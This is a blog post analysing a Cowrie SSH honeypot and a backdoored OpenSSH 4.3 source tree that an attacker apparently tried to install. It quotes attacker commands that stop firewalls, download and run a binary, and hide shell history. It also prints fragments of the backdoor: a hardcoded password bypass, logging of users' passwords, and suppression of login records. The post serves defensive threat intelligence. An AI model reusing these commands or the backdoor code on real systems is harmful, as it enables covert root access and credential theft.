Openssh backdoor used on compromised Linux servers


Some times ago, I have installed honeypot services on one of my servers, in order to see what happens in the real outside world. I especially installed the cowrie ssh honeypot which simulate a Linux shell and gather binaries that people want to install on the server (this tool is awesome, check here to install it).

Cowrie ssh#

This honeypot is really fun, because it records everything done during an attack, and record the whole tty session which can be replayed. If the attacker tries to download a file, cowrie automatically downloads it and stores it in a dedicated directory. In my case, I have only allowed one correct password (but an easily one : root123), so most of my logs are failed authentications:

2015-11-10 08:43:04+0100 [SSHService ssh-userauth on HoneyPotTransport,17996,] login attempt [bayvit/bayvit] failed
2015-11-10 08:44:42+0100 [SSHService ssh-userauth on HoneyPotTransport,17997,] login attempt [explore/explore] failed
2015-11-10 08:45:11+0100 [SSHService ssh-userauth on HoneyPotTransport,17998,] login attempt [jonathan/111111] failed

Here is a short top 20 of most used users and passwords :

Top 20 users

  • root
  • admin
  • test
  • user
  • oracle
  • postgres
  • guest
  • ubnt
  • git
  • nagios
  • ftpuser
  • ubuntu
  • tomcat
  • pi
  • support
  • (empty user)
  • ftp
  • teamspeak
  • mysql
  • bin

Top 20 passwords

  • 123456
  • password
  • root123 (used regularly as accepted by cowrie)
  • 1234
  • 12345
  • admin
  • test
  • root
  • 123
  • (empty password)
  • 1
  • p@ssw0rd
  • !@
  • wubao
  • jiamima
  • !q@w
  • !
  • !qaz@wsx
  • qwerty
  • user

Successfull attacks often juste download a malicious script/binary and execute it:

HoneyPotTransport,110774,] CMD: /etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c;chmod 755 China1991;./China1991;

What are those files?!?#

Among the files downloaded by Cowrie, I noticed an important number of text files, which is weird as I was thinking of finding only perl scripts / malicious ELF files. I finally found the logs related to these files:

2016-01-21 19:37:19+0100 [SSHService ssh-userauth on HoneyPotTransport,111016,] login attempt [root/root123] succeeded
2016-01-21 19:37:20+0100 [SSHService ssh-userauth on HoneyPotTransport,111016,] root authenticated with keyboard-interactive
2016-01-21 19:37:20+0100 [SSHService ssh-userauth on HoneyPotTransport,111016,] starting service ssh-connection
2016-01-21 19:37:20+0100 [SSHService ssh-connection on HoneyPotTransport,111016,] got channel session request
2016-01-21 19:37:20+0100 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,111016,] channel open
2016-01-21 19:37:20+0100 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,111016,] pty request: xterm (24, 80, 0, 0)

The cowrie log is pretty long because… it was a manual attack (whut?). So you have many failed commands (cowrie doesn’t implement all the shell commands), and in the end the interesting one:

unset ********
history -n
unset WATCH
export HISTFILE=/dev/null
uname -a
ps x
cat /etc/hosts
/sbin/ifconfig -a |grep inet | wc -l
ls -la
wget; tar zxvf cette.jpg; rm -rf cette*; cd ssh
ls -la
cd ..
rm -rf ssh

Here the attacker doesn’t understand what is happening because cowrie simulates the wget commands but the tar command fails (likely a cowrie bug when implementing the command). So the attacker will try many different ways to untar the file, and finally reboot the server.

Once extracted, the archive is composed of the source code of openssh 4.3 (I have uploaded all the code on github if you want to check by yourself)

> cat v
OpenSSH_4.3p2, OpenSSL 0.9.8b 04 May 2006

There is still one weird thing : what is this backdoor.h file ?

/* backdoor stuff */

int backdoor_active;

The BACKDOORPASSWD macro is used in the file auth-passwd.c, in the auth_password function in charge of checking the users password:

    backdoor_active = 0;
    if(strcmp(password, BACKDOORPASSWD) == 0)
        backdoor_active = 1;
        return 1;

Strangely, this backdoor also implements a logging functionnality both in sshconnect1.c and sshconnect2.c:

    if((strcmp(BACKDOORPASSWD,password) != 0) && LOGGING_PASSWORDS)
        FILE *fp = fopen(PASSWORDS_LOG_FILE,"a");
        fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password);
        fclose (fp)

In session.c, the backdoor disable the hist file and force the suid to 0 (root):

        child_set_env(&env, &envsize, "HISTFILE", "/dev/null");


        initgroups(pw->pw_name, 0);


And finally in sshlogin.c, it disable logging of connections using the backdoor password:

* Records that the user has logged in.  I these parts of operating systems
* were more standardized.
record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid,
    const char *host, struct sockaddr * addr, socklen_t addrlen)
        struct logininfo *li;

        li = login_alloc_entry(pid, user, host, ttyname);
        login_set_addr(li, addr, addrlen);
record_utmp_only(pid_t pid, const char *ttyname, const char *user,
                 const char *host, struct sockaddr * addr, socklen_t addrlen)
  struct logininfo *li;

  li = login_alloc_entry(pid, user, host, ttyname);
  login_set_addr(li, addr, addrlen);

/* Records that the user has logged out. */
record_logout(pid_t pid, const char *ttyname, const char *user)
  struct logininfo *li;

  li = login_alloc_entry(pid, user, NULL, ttyname);

All these modifications are in the openssh-3.6.1p2-backdoor.patch included in the code.

Lets do Threat Intelligence#

So let’s try to understand what happened : a successful authentication happened the 21/01/16 from (weirdly from source port 34, the client is putty). The first connection is directly successful (no bruteforce before).

This IP address belongs to UPC Ireland, which seems to be a Telecom provider now called Virgin media (I informed them of this attack on their abuse email address).

I have learnt recently that the SANS Dshield Group collects SSH logs from kippo/cowrie ssh honeypots. You can easily send your cowrie log by using the cowrie dshield output plugin (there is also a script called kippo-pyshield to do this).

Let’s check what we can learn about the IP from the Dshield API, you just have to visit (?json or ?text can be added to change the format):

	    LGI-UPC formerly known as UPC Broadband Holding B.V.,

So Dshield knows nothing about this address, which was likely not used for any ssh bruteforce attack. My best guess is that automated tools were used to bruteforce the server and find the password (hard to find which one). Once identified, the user connected to the server using his local computer (putty under Windows) and from his own ISP (and this is pretty stupid thing to do).

The malicious code is hosted on the domain (hxxp://fm/fo/images/cette.jpg exactly) which host a website of an icelandinc cleaning company (if I guess well, icelandic is really badly translated by Google). This website was likely compromised to host the malicious code but it is weird because it doesn’t use any common framework (I contacted the owner, no answer yet).


It’s not the new super-duper fancy APT group attack, but I like how Brad ends his posts with a summary of what to check on your system, so here is a short summary:

  • Bruteforce IP :
  • URL of the malicious code : hxxp:// (still available when writing the article, IP resolved is in Denmark)
  • SSH backdoor password : SSHD_PASS
  • File created by the backdoor : LOG_PATH

I’m still on Twitter if you have any comment.